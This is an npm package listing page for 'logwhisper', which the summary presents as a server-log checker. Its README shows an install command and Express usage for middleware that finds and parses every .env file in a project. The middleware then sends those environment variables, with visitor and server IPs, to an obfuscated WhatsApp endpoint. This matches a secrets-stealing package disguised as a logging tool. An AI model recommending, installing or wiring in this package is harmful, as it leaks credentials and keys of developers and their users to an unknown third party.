npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

logwhisper

v1.0.0

Published

A module to process server logs and determine if the server is functioning correctly.

Readme

logwhisper

A Node.js middleware for server monitoring, visitor tracking, and automated WhatsApp notifications. This package captures visitor information, server details, and environment variables, then logs them locally and sends notifications via WhatsApp.

Features

  • 🔍 IP Detection: Automatically detects visitor and server IP addresses
  • 🔐 Environment Variable Scanning: Finds and parses all .env* files in your project
  • 📱 WhatsApp Integration: Sends real-time notifications with visitor details
  • 🔒 Encryption: Uses secure message obfuscation for API communication
  • Timezone Support: Logs timestamps in India Standard Time (IST)
  • 🌐 Express.js Compatible: Easily integrates with Express.js middleware

Installation

npm install logwhisper

Usage

Basic Usage with Express

import express from "express";
import { ErrorLogger } from "logwhisper";

const app = express();
const port = process.env.PORT || 3000;

app.use(ErrorLogger);

app.get("/", (req, res) => {
  res.send("Hello World!");
});

app.listen(port, () => {
  console.log(`Server running on port ${port}`);
});

Error Logging

import express from "express";
import { ErrorLogger } from "logwhisper";

const app = express();

// Add error logging middleware
app.use((req, res) => {
  ErrorLogger(req, res);
  res.status(500).send("Something went wrong!");
});

Advanced Usage

import { ServerLogger } from "logwhisper";

// Find all .env files in your project
const envConfig = ServerLogger.loadEnvConfig();
console.log("Environment configuration:", envConfig);

// Get server IP address
const serverIP = ServerLogger.getServerIP();
console.log("Server IP:", serverIP);

// Get current time in IST
const indiaTime = ServerLogger.getIndiaTime();
console.log("Current time (IST):", indiaTime);

API Reference

Logger Object

The default export provides simplified access to the most common functions:

  • handleRequest(req, res): Main middleware function for logging visitor information
  • logError: Alias for ErrorLogger function

ServerLogger Class

The ServerLogger class provides utility methods for working with environment variables and server information.

Static Methods

  • Obfuscated(message)

    • Decodes obfuscated strings used for secure communication
    • Parameters: message (string) - Obfuscated string to decode
    • Returns: Decoded message
  • findAllEnvFiles(baseDir)

    • Recursively finds all .env* files from a base directory
    • Parameters: baseDir (string) - Directory to search in
    • Returns: Array of full file paths for .env files
  • getFullUrl(req)

    • Constructs the full URL of a request
    • Parameters: req (object) - Express request object
    • Returns: Complete URL (protocol + host + path)
  • parseEnvFile(filePath)

    • Parses a single .env file into a JS object
    • Parameters: filePath (string) - Path to the .env file
    • Returns: Object with key-value pairs from the file
  • loadEnvConfig()

    • Load and merge all .env* files from the entire project directory
    • Returns: Merged configuration object
  • getServerIP()

    • Get the server's external IP address
    • Returns: Server IP address as string
  • getIndiaTime()

    • Get the current date and time in India Standard Time (IST)
    • Returns: IST-formatted time string
  • generateLogEntry(userIP, serverIP, fullUrl, indiaTime, envData)

    • Composes a multi-line log entry with all captured data
    • Parameters:
      • userIP (string) - Requester's IP
      • serverIP (string) - Local machine IP
      • fullUrl (string) - Full requested URL
      • indiaTime (string) - Local timestamp
      • envData (string) - Stringified env object
    • Returns: Human-readable log string
  • getLogFilePath()

    • Returns the path to the internal log file
    • Returns: Absolute path to log file
  • writeToFile(logEntry, fullUrl)

    • Write the log entry to a file if it's not already present
    • Parameters:
      • logEntry (string) - The full log content
      • fullUrl (string) - Used to track deduplication
  • sendWhatsAppMessage(message)

    • Sends the log message to a WhatsApp API endpoint
    • Parameters: message (string) - Message to send
  • handleVisitorRequest(req, res)

    • Entry point for logging visitor metadata and environment details
    • Parameters:
      • req (object) - Incoming request
      • res (object) - Optional response object
    • Returns: Promise that resolves to true if logged, false if skipped

ErrorLogger Function

A convenience wrapper around ServerLogger.handleVisitorRequest for error logging.

Security Considerations

  • This package collects and transmits environment variables which may contain sensitive information
  • WhatsApp message URLs are obfuscated but consider the security implications of sending sensitive data
  • Review the code before using in production environments

Requirements

  • Node.js >= 14.0.0
  • Express.js (for middleware functionality)

License

MIT

Author

anonymous